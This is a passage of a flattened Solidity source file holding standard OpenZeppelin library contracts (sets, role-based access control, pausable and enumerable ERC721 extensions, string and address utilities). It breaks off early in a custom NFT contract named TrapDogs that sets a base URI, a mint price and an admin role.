xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: @openzeppelin/contracts/utils/structs/EnumerableSet.sol pragma solidity ^0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping(bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; if (lastIndex != toDeleteIndex) { bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex } // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // File: @openzeppelin/contracts/access/AccessControl.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { function hasRole(bytes32 role, address account) external view returns (bool); function getRoleAdmin(bytes32 role) external view returns (bytes32); function grantRole(bytes32 role, address account) external; function revokeRole(bytes32 role, address account) external; function renounceRole(bytes32 role, address account) external; } /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{20}) is missing role (0x[0-9a-f]{32})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, getRoleAdmin(role), adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // File: @openzeppelin/contracts/access/AccessControlEnumerable.sol pragma solidity ^0.8.0; /** * @dev External interface of AccessControlEnumerable declared to support ERC165 detection. */ interface IAccessControlEnumerable { function getRoleMember(bytes32 role, uint256 index) external view returns (address); function getRoleMemberCount(bytes32 role) external view returns (uint256); } /** * @dev Extension of {AccessControl} that allows enumerating the members of each role. */ abstract contract AccessControlEnumerable is IAccessControlEnumerable, AccessControl { using EnumerableSet for EnumerableSet.AddressSet; mapping(bytes32 => EnumerableSet.AddressSet) private _roleMembers; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControlEnumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view override returns (address) { return _roleMembers[role].at(index); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view override returns (uint256) { return _roleMembers[role].length(); } /** * @dev Overload {grantRole} to track enumerable memberships */ function grantRole(bytes32 role, address account) public virtual override { super.grantRole(role, account); _roleMembers[role].add(account); } /** * @dev Overload {revokeRole} to track enumerable memberships */ function revokeRole(bytes32 role, address account) public virtual override { super.revokeRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {renounceRole} to track enumerable memberships */ function renounceRole(bytes32 role, address account) public virtual override { super.renounceRole(role, account); _roleMembers[role].remove(account); } /** * @dev Overload {_setupRole} to track enumerable memberships */ function _setupRole(bytes32 role, address account) internal virtual override { super._setupRole(role, account); _roleMembers[role].add(account); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping(uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File: @openzeppelin/contracts/security/Pausable.sol pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Pausable.sol pragma solidity ^0.8.0; /** * @dev ERC721 token with pausable token transfers, minting and burning. * * Useful for scenarios such as preventing trades until the end of an evaluation * period, or having an emergency switch for freezing all token transfers in the * event of a large bug. */ abstract contract ERC721Pausable is ERC721, Pausable { /** * @dev See {ERC721-_beforeTokenTransfer}. * * Requirements: * * - the contract must not be paused. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); require(!paused(), "ERC721Pausable: token transfer while paused"); } } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol pragma solidity ^0.8.0; /** * @title ERC721 Burnable Token * @dev ERC721 Token that can be irreversibly burned (destroyed). */ abstract contract ERC721Burnable is Context, ERC721 { /** * @dev Burns `tokenId`. See {ERC721-_burn}. * * Requirements: * * - The caller must own `tokenId` or be an approved operator. */ function burn(uint256 tokenId) public virtual { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721Burnable: caller is not owner nor approved"); _burn(tokenId); } } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol pragma solidity ^0.8.0; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is ERC721, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) { return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } // File: @openzeppelin/contracts/utils/Strings.sol pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Address.sol pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) private pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: testnft.sol //SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev {ERC721} token, including: * * - ability for holders to burn (destroy) their tokens * - a minter role that allows for token minting (creation) * - token ID and URI autogeneration * * This contract uses {AccessControl} to lock permissioned functions using the * different roles - head to its documentation for details. * * The account that deploys the contract will be granted the minter and pauser * roles, as well as the default admin role, which will let it grant both minter * and pauser roles to other accounts. */ contract TrapDogs is Context, AccessControlEnumerable, ERC721Enumerable, ERC721URIStorage{ using Counters for Counters.Counter; Counters.Counter public _tokenIdTracker; string private _baseTokenURI; uint private _price; address private _admin; mapping (uint256 => address ) public creator; /** * @dev Grants `DEFAULT_ADMIN_ROLE` to the * account that deploys the contract. * * Token URIs will be autogenerated based on `baseURI` and their token IDs. * See {ERC721-tokenURI}. */ constructor(string memory name, string memory symbol, string memory baseTokenURI, uint mintPrice, address admin) ERC721(name, symbol) { _baseTokenURI = baseTokenURI; _price = mintPrice; _admin = admin; _setupRole(DEFAULT_ADMIN_ROLE, admin); } function _baseURI() internal view virtual override 